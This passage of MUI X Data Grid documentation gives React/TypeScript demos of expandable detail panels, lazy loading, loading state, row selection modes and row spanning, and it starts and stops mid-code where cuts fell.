  const quantity = randomInt(1, 5);
  return [...Array(quantity)].map((_, index) => ({
    id: index,
    name: randomCommodity(),
    quantity: randomInt(1, 5),
    unitPrice: randomPrice(1, 1000),
  }));
}

const rows = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
];

type Customer = (typeof rows)[number];

export default function DetailPanelExpandOnRowClick() {
  const getDetailPanelContent = React.useCallback<
    NonNullable<DataGridProProps['getDetailPanelContent']>
  >(({ row }) => <DetailPanelContent row={row} />, []);

  const getDetailPanelHeight = React.useCallback(() => 400, []);

  const apiRef = useGridApiRef();

  const onRowClick = React.useCallback<GridEventListener<'rowClick'>>(
    (params) => {
      apiRef.current?.toggleDetailPanel(params.id);
    },
    [apiRef],
  );

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGridPro
        apiRef={apiRef}
        columns={columns}
        onRowClick={onRowClick}
        rows={rows}
        getDetailPanelHeight={getDetailPanelHeight}
        getDetailPanelContent={getDetailPanelContent}
      />
    </Box>
  );
}

```

## Lazy loading detail panels with auto height

In the demo below, detail panels have a height based on content (auto height) and are lazy loaded.
To prevent scrolling issues, panel heights are cached once they are loaded and the cached height is returned from the `getDetailPanelHeight()` callback.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import {
  randomEmail,
  randomInt,
  randomCommodity,
  randomPrice,
  randomTraderName,
  randomId,
} from '@mui/x-data-grid-generator';
import {
  DataGridPro,
  DataGridProProps,
  GridColDef,
  GridRowId,
  GridRowParams,
} from '@mui/x-data-grid-pro';
import { DetailPanelWrapper, useDetailPanelCache } from './detailPanelCache';

type Products = Awaited<ReturnType<typeof getProducts>>;

const DetailPanelDataCache = React.createContext(new Map<GridRowId, Products>());

async function getProducts(orderId: Customer['id']) {
  await new Promise((resolve) => {
    setTimeout(resolve, 1000);
  });

  const quantity = randomInt(30, 50);
  return [...Array(quantity)].map((_, index) => ({
    id: index,
    orderId,
    name: randomCommodity(),
    quantity: randomInt(1, 5),
    unitPrice: randomPrice(1, 1000),
  }));
}

const detailPanelColumns: GridColDef[] = [
  { field: 'name', headerName: 'Product', flex: 1 },
  {
    field: 'quantity',
    headerName: 'Quantity',
    align: 'center',
    type: 'number',
  },
  { field: 'unitPrice', headerName: 'Unit Price', type: 'number' },
  {
    field: 'total',
    headerName: 'Total',
    type: 'number',
    valueGetter: (value, row) => row.quantity * row.unitPrice,
  },
];

function DetailPanelContent({
  row: rowProp,
  onLoaded,
}: {
  row: Customer;
  onLoaded?: () => void;
}) {
  const [isLoading, setLoading] = React.useState(true);
  const [products, setProducts] = React.useState<
    Awaited<ReturnType<typeof getProducts>>
  >([]);

  const detailPanelDataCache = React.useContext(DetailPanelDataCache) as Map<
    GridRowId,
    Products
  >;

  React.useEffect(() => {
    let isMounted = true;
    (async () => {
      if (!detailPanelDataCache.has(rowProp.id)) {
        console.log('fetching detail panel content for row', rowProp.id);
        const response = await getProducts(rowProp.id);
        // Store the data in cache so that when detail panel unmounts due to virtualization, the data is not lost
        detailPanelDataCache.set(rowProp.id, response);
      }

      const result = detailPanelDataCache.get(rowProp.id)!;

      if (!isMounted) {
        return;
      }

      setProducts(result);
      setLoading(false);
      onLoaded?.();
    })();

    return () => {
      isMounted = false;
    };
  }, [rowProp.id, detailPanelDataCache, onLoaded]);

  return (
    <Stack
      sx={{ py: 2, height: '100%', boxSizing: 'border-box' }}
      direction="column"
    >
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 1 }}>
        <Stack direction="column" spacing={1} sx={{ height: 1 }}>
          <Typography variant="h6">{`Order #${rowProp.id}`}</Typography>
          <DataGridPro
            density="compact"
            loading={isLoading}
            columns={detailPanelColumns}
            rows={products}
            sx={{ flex: 1 }}
            hideFooter
          />
        </Stack>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef[] = [
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'email', headerName: 'Email', width: 200 },
];

function getRow() {
  return {
    id: randomId(),
    customer: randomTraderName(),
    email: randomEmail(),
  };
}

const rows: ReturnType<typeof getRow>[] = [];
for (let i = 0; i < 30; i += 1) {
  rows.push(getRow());
}

type Customer = (typeof rows)[number];

export default function LazyLoadingAutoHeightDetailPanel() {
  const {
    detailPanelDataCache,
    detailPanelHeights,
    handleDetailPanelHeightChange,
    handleDetailPanelExpansionChange,
  } = useDetailPanelCache<Products>();

  const getDetailPanelHeight = React.useCallback(
    (params: { row: Customer }) => {
      const cachedHeight = detailPanelHeights.get(params.row.id);
      return cachedHeight ?? ('auto' as const);
    },
    [detailPanelHeights],
  );

  const getDetailPanelContent: DataGridProProps['getDetailPanelContent'] =
    React.useCallback(
      (params: GridRowParams<Customer>) => (
        <DetailPanelWrapper
          rowId={params.row.id}
          onHeightChange={handleDetailPanelHeightChange}
        >
          <DetailPanelContent row={params.row} />
        </DetailPanelWrapper>
      ),
      [handleDetailPanelHeightChange],
    );

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DetailPanelDataCache.Provider value={detailPanelDataCache}>
        <DataGridPro
          columns={columns}
          rows={rows}
          getDetailPanelHeight={getDetailPanelHeight}
          getDetailPanelContent={getDetailPanelContent}
          onDetailPanelExpandedRowIdsChange={handleDetailPanelExpansionChange}
        />
      </DetailPanelDataCache.Provider>
    </Box>
  );
}

```

## Access Data Grid internal loading state

The following demo shows how to disable a button on the toolbar when the Data Grid is in loading state using the [`useGridSelector()`](https://mui.com/x/react-data-grid/state/#with-usegridselector) hook with the `gridRowsLoadingSelector()`.

```tsx
import Button from '@mui/material/Button';
import {
  DataGrid,
  Toolbar,
  useGridApiContext,
  gridRowsLoadingSelector,
  useGridSelector,
} from '@mui/x-data-grid';

function CustomToolbar() {
  const apiRef = useGridApiContext();
  const isLoading = useGridSelector(apiRef, gridRowsLoadingSelector);
  return (
    <Toolbar>
      <Button
        variant="outlined"
        loading={isLoading}
        onClick={() => apiRef.current?.setLoading(true)}
      >
        Set Loading
      </Button>
      {isLoading && (
        <Button onClick={() => apiRef.current?.setLoading(false)}>Cancel</Button>
      )}
    </Toolbar>
  );
}

const rows = [
  { id: 1, name: 'React' },
  { id: 2, name: 'MUI' },
];

const columns = [{ field: 'name' }];

export default function AccessingLoadingState() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        columns={columns}
        rows={rows}
        slots={{ toolbar: CustomToolbar }}
        showToolbar
      />
    </div>
  );
}

```

:::info
The `useGridSelector()` is based on a React Context, so the component must be a child of the Data Grid in the React tree to access the internal state.

You could use a [React portal](https://react.dev/reference/react-dom/createPortal) to achieve the same while rendering the component outside the Data Grid DOM tree.
:::

---

# Source: https://mui.com/x/react-data-grid/row-selection.md

# Data Grid - Row selection

Row selection lets users select and highlight a single row or multiple rows that they can then take action on.

## Single row selection

Single row selection comes enabled by default for the MIT Data Grid component.
You can select a row by clicking it, or using the [keyboard shortcuts](/x/react-data-grid/accessibility/#selection).
To unselect a row, click on it again.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function SingleRowSelectionGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} />
    </div>
  );
}

```

## Multiple row selection [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

On the Data Grid Pro and Data Grid Premium components, you can select multiple rows in two ways:

- To select multiple independent rows, hold the <kbd class="key">Ctrl</kbd> (<kbd class="key">Cmd</kbd> on MacOS) key while selecting rows.
- To select a range of rows, hold the <kbd class="key">Shift</kbd> key while selecting rows.
- To disable multiple row selection, use `disableMultipleRowSelection={true}`.

Unselect one of the selected rows by holding the <kbd class="key">Ctrl</kbd> (<kbd class="key">Cmd</kbd> on MacOS) key and clicking on the selected row.

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function MultipleRowSelectionGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        pagination
        initialState={{
          ...data.initialState,
          pagination: {
            paginationModel: {
              pageSize: 10,
            },
          },
        }}
      />
    </div>
  );
}

```

## Disable row selection on click

You might have interactive content in the cells and need to disable the selection of the row on click. Use the `disableRowSelectionOnClick` prop in this case.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function DisableClickSelectionGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid checkboxSelection disableRowSelectionOnClick {...data} />
    </div>
  );
}

```

## Disable selection on certain rows

Use the `isRowSelectable` prop to indicate if a row can be selected.
It's called with a `GridRowParams` object and should return a boolean value.
If not specified, all rows are selectable.

In the demo below only rows with quantity above 50,000 can be selected:

```tsx
import { DataGrid, GridRowParams } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function DisableRowSelection() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        isRowSelectable={(params: GridRowParams) => params.row.quantity > 50000}
        checkboxSelection
      />
    </div>
  );
}

```

## Row selection with filtering

By default, when the rows are filtered the selection is cleared from the rows that don't meet the filter criteria.
To keep those rows selected even when they're not visible, set the `keepNonExistentRowsSelected` prop.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function KeepNonExistentRowsSelected() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        checkboxSelection
        disableRowSelectionOnClick
        keepNonExistentRowsSelected
        showToolbar
      />
    </div>
  );
}

```

## Controlled row selection

Use the `rowSelectionModel` prop to control the selection.
Each time this prop changes, the `onRowSelectionModelChange` callback is called with the new selection value.

The row selection model has the following structure:

```tsx
const [rowSelectionModel, setRowSelectionModel] =
  React.useState<GridRowSelectionModel>({
    type: 'include', // or 'exclude'
    ids: new Set<GridRowId>(['row1', 'row2']),
  });
```

The model can be either:

- **`type: 'include'`**: Only the rows with IDs in the `ids` set are selected
- **`type: 'exclude'`**: All rows are selected except those with IDs in the `ids` set

```tsx
import * as React from 'react';
import { DataGrid, GridRowSelectionModel } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ControlledSelectionGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  const [rowSelectionModel, setRowSelectionModel] =
    React.useState<GridRowSelectionModel>({ type: 'include', ids: new Set() });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        checkboxSelection
        onRowSelectionModelChange={(newRowSelectionModel) => {
          setRowSelectionModel(newRowSelectionModel);
        }}
        rowSelectionModel={rowSelectionModel}
        {...data}
      />
    </div>
  );
}

```

### Opting out of exclude model optimization

To opt out of the `exclude` model and always use `include` model and a predictable behavior with explicit row IDs, pass `disableRowSelectionExcludeModel` prop to the Data Grid.

By default, the Data Grid uses an exclude model optimization when selecting all rows (for example, via "Select all" checkbox) for better performance with large datasets.

```tsx
<DataGrid
  disableRowSelectionExcludeModel
  // This ensures the selection model always uses type: 'include'
  // with explicit row IDs, even when selecting all rows
/>
```

## Checkbox selection

To activate checkbox selection set `checkboxSelection={true}`.

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';
import Box from '@mui/material/Box';

export default function CheckboxSelectionGrid() {
  const [checkboxSelection, setCheckboxSelection] = React.useState(true);
  const [disableMultipleRowSelection, setDisableMultipleRowSelection] =
    React.useState(false);

  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 5,
  });

  return (
    <div style={{ width: '100%' }}>
      <Box sx={{ mb: 1 }}>
        <FormControlLabel
          label="checkboxSelection"
          control={
            <Switch
              checked={checkboxSelection}
              onChange={(event) => setCheckboxSelection(event.target.checked)}
            />
          }
        />
        <FormControlLabel
          label="disableMultipleRowSelection"
          control={
            <Switch
              checked={disableMultipleRowSelection}
              onChange={(event) =>
                setDisableMultipleRowSelection(event.target.checked)
              }
            />
          }
        />
      </Box>
      <div style={{ height: 400 }}>
        <DataGrid
          {...data}
          checkboxSelection={checkboxSelection}
          disableMultipleRowSelection={disableMultipleRowSelection}
        />
      </div>
    </div>
  );
}

```

### Custom checkbox column

If you provide a custom checkbox column to the Data Grid with the `GRID_CHECKBOX_SELECTION_FIELD` field, the Data Grid will not add its own.

We strongly recommend to use the `GRID_CHECKBOX_SELECTION_COL_DEF` variable instead of re-defining all the custom properties yourself.

In the following demo, the checkbox column has been moved to the right and its width has been increased to 100px.

```tsx
import * as React from 'react';
import { DataGrid, GRID_CHECKBOX_SELECTION_COL_DEF } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function CheckboxSelectionCustom() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 5,
  });

  const columns = React.useMemo(
    () => [
      ...data.columns,
      {
        ...GRID_CHECKBOX_SELECTION_COL_DEF,
        width: 100,
      },
    ],
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} checkboxSelection columns={columns} />
    </div>
  );
}

```

:::warning
Always set the `checkboxSelection` prop to `true` even when providing a custom checkbox column.
Otherwise, the Data Grid might remove your column.
:::

### Visible rows selection [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

By default, when you click the "Select All" checkbox, all rows in the Data Grid are selected.
If you want to change this behavior and only select the rows that are currently visible on the page, you can use the `checkboxSelectionVisibleOnly` prop.

```tsx
import * as React from 'react';
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';
import Box from '@mui/material/Box';

export default function CheckboxSelectionVisibleOnlyGrid() {
  const [checkboxSelectionVisibleOnly, setCheckboxSelectionVisibleOnly] =
    React.useState(false);

  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 300,
    maxColumns: 5,
  });

  return (
    <div style={{ width: '100%' }}>
      <Box sx={{ mb: 1 }}>
        <FormControlLabel
          label="checkboxSelectionVisibleOnly"
          control={
            <Switch
              checked={checkboxSelectionVisibleOnly}
              onChange={(event) =>
                setCheckboxSelectionVisibleOnly(event.target.checked)
              }
            />
          }
        />
      </Box>
      <div style={{ height: 400 }}>
        <DataGridPro
          {...data}
          loading={loading}
          initialState={{
            ...data.initialState,
            pagination: { paginationModel: { pageSize: 50 } },
          }}
          pageSizeOptions={[5, 10, 25, 50, 100]}
          pagination
          checkboxSelection
          checkboxSelectionVisibleOnly={checkboxSelectionVisibleOnly}
        />
      </div>
    </div>
  );
}

```

## Usage with server-side pagination

Using the controlled selection with `paginationMode="server"` may result in selected rows being lost when the page is changed.
This happens because the Data Grid cross-checks with the `rows` prop and only calls `onRowSelectionModelChange` with existing row IDs.
Depending on your server-side implementation, when the page changes and the new value for the `rows` prop does not include previously selected rows, the Data Grid will call `onRowSelectionModelChange` with an empty value.
To prevent this, enable the `keepNonExistentRowsSelected` prop to keep the rows selected even if they do not exist.

```tsx
<DataGrid keepNonExistentRowsSelected />
```

By using this approach, clicking in the **Select All** checkbox may still leave some rows selected.
It is up to you to clean the selection model, using the `rowSelectionModel` prop.
The following demo shows the prop in action:

```tsx
import * as React from 'react';
import { DataGrid, GridRowsProp, GridRowSelectionModel } from '@mui/x-data-grid';
import { GridDemoData, useDemoData, randomInt } from '@mui/x-data-grid-generator';

function loadServerRows(page: number, data: GridDemoData): Promise<any> {
  return new Promise((resolve) => {
    setTimeout(
      () => {
        resolve(data.rows.slice(page * 5, (page + 1) * 5));
      },
      randomInt(100, 600),
    ); // simulate network latency
  });
}

export default function ControlledSelectionServerPaginationGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 5,
  });
  const [rows, setRows] = React.useState<GridRowsProp>([]);
  const [loading, setLoading] = React.useState(false);
  const [rowSelectionModel, setRowSelectionModel] =
    React.useState<GridRowSelectionModel>({ type: 'include', ids: new Set() });

  React.useEffect(() => {
    let active = true;

    (async () => {
      setLoading(true);
      const newRows = await loadServerRows(paginationModel.page, data);

      if (!active) {
        return;
      }

      setRows(newRows);
      setLoading(false);
    })();

    return () => {
      active = false;
    };
  }, [paginationModel.page, data]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        rows={rows}
        pagination
        checkboxSelection
        paginationModel={paginationModel}
        pageSizeOptions={[5]}
        rowCount={100}
        paginationMode="server"
        onPaginationModelChange={setPaginationModel}
        onRowSelectionModelChange={(newRowSelectionModel) => {
          setRowSelectionModel(newRowSelectionModel);
        }}
        rowSelectionModel={rowSelectionModel}
        loading={loading}
        keepNonExistentRowsSelected
      />
    </div>
  );
}

```

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the row selection feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-row-selection-api.json';
import proApi from 'docsx/pages/x/api/data-grid/grid-row-multi-selection-api.json';

export default function RowSelectionApiNoSnap() {
  return <ApiDocs api={api} proApi={proApi} />;
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/row-spanning.md

# Data Grid - Row spanning

Span cells across several rows.

By default, each cell in a Data Grid takes up the height of one row.
The row spanning feature makes it possible for a cell to fill multiple rows in a single column.

To enable, pass the `rowSpanning` prop to the Data Grid.
The Data Grid will automatically merge consecutive cells with repeating values in the same column, as shown in the demo below—switch off the toggle button to see the actual rows:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid, GridColDef } from '@mui/x-data-grid';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';

export default function RowSpanning() {
  const [enabled, setEnabled] = React.useState(true);

  return (
    <Box sx={{ width: '100%' }}>
      <FormControlLabel
        checked={enabled}
        onChange={(event) => setEnabled((event.target as HTMLInputElement).checked)}
        control={<Switch />}
        label="Enable row spanning"
      />
      <Box sx={{ height: 300 }}>
        <DataGrid
          rows={rows}
          columns={columns}
          density="compact"
          showCellVerticalBorder
          showColumnVerticalBorder
          disableRowSelectionOnClick
          rowSpanning={enabled}
          hideFooter
          sx={{
            '& .MuiDataGrid-row:hover': {
              backgroundColor: 'transparent',
            },
            '& .bold': {
              fontWeight: 'bold',
            },
          }}
        />
      </Box>
    </Box>
  );
}

const columns: GridColDef<(typeof rows)[number]>[] = [
  {
    field: 'code',
    headerName: 'Item Code',
    width: 85,
    cellClassName: ({ row }) => (row.summaryRow ? 'bold' : ''),
  },
  {
    field: 'description',
    headerName: 'Description',
    width: 170,
  },
  {
    field: 'quantity',
    headerName: 'Quantity',
    width: 80,
    // Do not span the values
    rowSpanValueGetter: () => null,
  },
  {
    field: 'unitPrice',
    headerName: 'Unit Price',
    type: 'number',
    valueFormatter: (value) => (value ? `$${value}.00` : ''),
  },
  {
    field: 'totalPrice',
    headerName: 'Total Price',
    type: 'number',
    valueGetter: (value, row) => value ?? row?.unitPrice,
    valueFormatter: (value) => `$${value}.00`,
    cellClassName: ({ row }) => (row.summaryRow ? 'bold' : ''),
  },
];

const rows = [
  {
    id: 1,
    code: 'A101',
    description: 'Wireless Mouse',
    quantity: 2,
    unitPrice: 50,
    totalPrice: 100,
  },
  {
    id: 2,
    code: 'A102',
    description: 'Mechanical Keyboard',
    quantity: 1,
    unitPrice: 75,
  },
  {
    id: 3,
    code: 'A103',
    description: 'USB Dock Station',
    quantity: 1,
    unitPrice: 400,
  },
  {
    id: 4,
    code: 'A104',
    description: 'Laptop',
    quantity: 1,
    unitPrice: 1800,
    totalPrice: 2050,
  },
  {
    id: 5,
    code: 'A104',
    description: '- 16GB RAM Upgrade',
    quantity: 1,
    unitPrice: 100,
    totalPrice: 2050,
  },
  {
    id: 6,
    code: 'A104',
    description: '- 512GB SSD Upgrade',
    quantity: 1,
    unitPrice: 150,
    totalPrice: 2050,
  },
  {
    id: 7,
    code: 'TOTAL',
    totalPrice: 2625,
    summaryRow: true,
  },
];

```

:::info
In this demo, the `quantity` column has been deliberately excluded from the row spanning computation using the `colDef.rowSpanValueGetter` prop.

See the [Customizing row-spanning cells](#customizing-row-spanning-cells) section for more details.
:::

:::warning
Row spanning works by increasing the height of the spanned cell by a factor of `rowHeight`—it won't work properly with a variable or dynamic height.
:::

## Customizing row-spanning cells

You can customize how row spanning works using two props:

- `colDef.rowSpanValueGetter`: Controls which values are used for row spanning
- `colDef.valueGetter`: Controls both the row spanning logic and the cell value

This lets you prevent unwanted row spanning when there are repeating values that shouldn't be merged.

In the following example, `rowSpanValueGetter` is used to avoid merging `age` cells that don't belong to the same person.

```tsx
import Box from '@mui/material/Box';
import { DataGrid, GridColDef } from '@mui/x-data-grid';

export default function RowSpanningCustom() {
  return (
    <Box sx={{ height: 350, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        showCellVerticalBorder
        showColumnVerticalBorder
        disableRowSelectionOnClick
        hideFooter
        rowSpanning
        sx={{
          '& .MuiDataGrid-row:hover': {
            backgroundColor: 'transparent',
          },
        }}
      />
    </Box>
  );
}

const columns: GridColDef[] = [
  {
    field: 'name',
    headerName: 'Name',
    width: 200,
    editable: true,
  },
  {
    field: 'designation',
    headerName: 'Designation',
    width: 200,
    editable: true,
  },
  {
    field: 'department',
    headerName: 'Department',
    width: 150,
    editable: true,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 100,
    valueFormatter: (value) => {
      return `${value} yo`;
    },
    rowSpanValueGetter: (value, row) => {
      return row ? `${row.name}-${row.age}` : value;
    },
  },
];

const rows = [
  {
    id: 1,
    name: 'Andrew Clark',
    designation: 'React Engineer',
    department: 'Engineering',
    age: 25,
  },
  {
    id: 2,
    name: 'Andrew Clark',
    designation: 'Technical Interviewer',
    department: 'Human resource',
    age: 25,
  },
  {
    id: 3,
    name: 'Cynthia Duke',
    designation: 'Technical Team Lead',
    department: 'Engineering',
    age: 25,
  },
  {
    id: 4,
    name: 'Jordyn Black',
    designation: 'React Engineer',
    department: 'Engineering',
    age: 31,
  },
  {
    id: 5,
    name: 'Rene Glass',
    designation: 'Ops Lead',
    department: 'Operations',
    age: 31,
  },
];

```

## Usage with column spanning

Row spanning can be used in conjunction with column spanning to create cells that span multiple rows and columns simultaneously, as shown in the demo below:

```tsx
import Box from '@mui/material/Box';
import { DataGrid, GridColDef } from '@mui/x-data-grid';

const rows = [
  {
    id: 0,
    day: 'Monday',
    time: '9:00 AM - 10:30 AM',
    course: 'Advanced Mathematics',
    instructor: 'Dr. Smith',
    room: 'Room 101',
    notes: 'Midterm exam',
  },
  {
    id: 1,
    day: 'Monday',
    time: '10:30 AM - 12:00 PM',
    course: 'Advanced Mathematics',
    instructor: 'Dr. Smith',
    room: 'Room 101',
    notes: 'Midterm exam',
  },
  {
    id: 2,
    day: 'Tuesday',
    time: '9:00 AM - 10:30 AM',
    course: 'Advanced Mathematics',
    instructor: 'Dr. Smith',
    room: 'Room 101',
    notes: 'Practical and lab work',
  },
  {
    id: 3,
    day: 'Tuesday',
    time: '10:30 AM - 12:00 PM',
    course: 'Introduction to Biology',
    instructor: 'Dr. Johnson',
    room: 'Room 107',
    notes: 'Lab session',
  },
  {
    id: 4,
    day: 'Wednesday',
    time: '9:00 AM - 10:30 AM',
    course: 'Computer Science 101',
    instructor: 'Dr. Lee',
    room: 'Room 303',
    notes: 'Class',
  },
  {
    id: 5,
    day: 'Wednesday',
    time: '10:30 AM - 12:00 PM',
    course: 'Computer Science 101',
    instructor: 'Dr. Lee',
    room: 'Room 303',
    notes: 'Lab session',
  },
  {
    id: 6,
    day: 'Thursday',
    time: '9:00 AM - 11:00 AM',
    course: 'Physics II',
    instructor: 'Dr. Carter',
    room: 'Room 104',
    notes: 'Project Discussion',
  },

  {
    id: 7,
    day: 'Thursday',
    time: '11:00 AM - 12:30 PM',
    course: 'Physics II',
    instructor: 'Dr. Carter',
    room: 'Room 104',
    notes: 'Project Discussion',
  },

  {
    id: 8,
    day: 'Friday',
    time: '9:00 AM - 11:00 AM',
    course: 'Physics II',
    instructor: 'Dr. Carter',
    room: 'Room 104',
    notes: 'Project Submission',
  },
  {
    id: 9,
    day: 'Friday',
    time: '11:00 AM - 12:30 PM',
    course: 'Literature & Composition',
    instructor: 'Prof. Adams',
    room: 'Lecture Hall 1',
    notes: 'Reading Assignment',
  },
];

const columns: GridColDef[] = [
  {
    field: 'day',
    headerName: 'Day',
  },
  {
    field: 'time',
    headerName: 'Time',
    minWidth: 160,
  },
  {
    field: 'course',
    headerName: 'Course',
    minWidth: 140,
    colSpan: 2,
    valueGetter: (_, row) => `${row?.course} (${row?.instructor})`,
    cellClassName: 'course-instructor--cell',
  },
  {
    field: 'instructor',
    headerName: 'Instructor',
    minWidth: 140,
    hideable: false,
  },
  {
    field: 'room',
    headerName: 'Room',
    minWidth: 120,
  },
  {
    field: 'notes',
    headerName: 'Notes',
    minWidth: 180,
  },
];

export default function RowSpanningClassSchedule() {
  return (
    <Box style={{ display: 'flex', flexDirection: 'column', width: '100%' }}>
      <DataGrid
        columns={columns}
        rows={rows}
        rowSpanning
        disableRowSelectionOnClick
        hideFooter
        showCellVerticalBorder
        showColumnVerticalBorder
        sx={{
          '& .MuiDataGrid-row:hover': {
            backgroundColor: 'transparent',
          },
          [`& .course-instructor--cell`]: {
            textAlign: 'center',
            fontWeight: 'bold',
          },
        }}
      />
    </Box>
  );
}

```

:::warning
Row spanning works well with features like [sorting](/x/react-data-grid/sorting/) and [filtering](/x/react-data-grid/filtering/), but be sure to check that everything works as expected when using it with [column spanning](/x/react-data-grid/column-spanning/).
:::

## Demo

The demo below recreates the calendar from the [column spanning documentation](/x/react-data-grid/column-spanning/#function-signature) using the row spanning feature:

```tsx
import Box from '@mui/material/Box';
import { DataGrid, GridColDef } from '@mui/x-data-grid';

const slotTimesLookup = {
  0: '09:00 - 10:00',
  1: '10:00 - 11:00',
  2: '11:00 - 12:00',
  3: '12:00 - 13:00',
  4: '13:00 - 14:00',
  5: '14:00 - 15:00',
  6: '15:00 - 16:00',
  7: '16:00 - 17:00',
};

const days = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'];

type Subject =
  | 'Maths'
  | 'English'
  | 'Lab'
  | 'Chemistry'
  | 'Physics'
  | 'Music'
  | 'Dance';

type Row = { id: number; time: string; slots: Array<Subject | ''> };

const rows: Array<Row> = [
  {
    id: 0,
    time: slotTimesLookup[0],
    slots: ['Maths', 'Chemistry', 'Physics', 'Music', 'Maths'],
  },
  {
    id: 1,
    time: slotTimesLookup[1],
    slots: ['English', 'Chemistry', 'English', 'Music', 'Dance'],
  },
  {
    id: 2,
    time: slotTimesLookup[2],
    slots: ['English', 'Chemistry', 'Maths', 'Chemistry', 'Dance'],
  },
  {
    id: 3,
    time: slotTimesLookup[3],
    slots: ['Lab', 'Physics', 'Maths', 'Chemistry', 'Physics'],
  },
  {
    id: 4,
    time: slotTimesLookup[4],
    slots: ['', '', '', '', ''],
  },
  {
    id: 5,
    time: slotTimesLookup[5],
    slots: ['Lab', 'Maths', 'Chemistry', 'Chemistry', 'English'],
  },
  {
    id: 6,
    time: slotTimesLookup[6],
    slots: ['Music', 'Lab', 'Chemistry', 'English', ''],
  },
  {
    id: 7,
    time: slotTimesLookup[7],
    slots: ['Music', 'Dance', '', 'English', ''],
  },
];

const slotColumnCommonFields: Partial<GridColDef> = {
  sortable: false,
  filterable: false,
  pinnable: false,
  hideable: false,
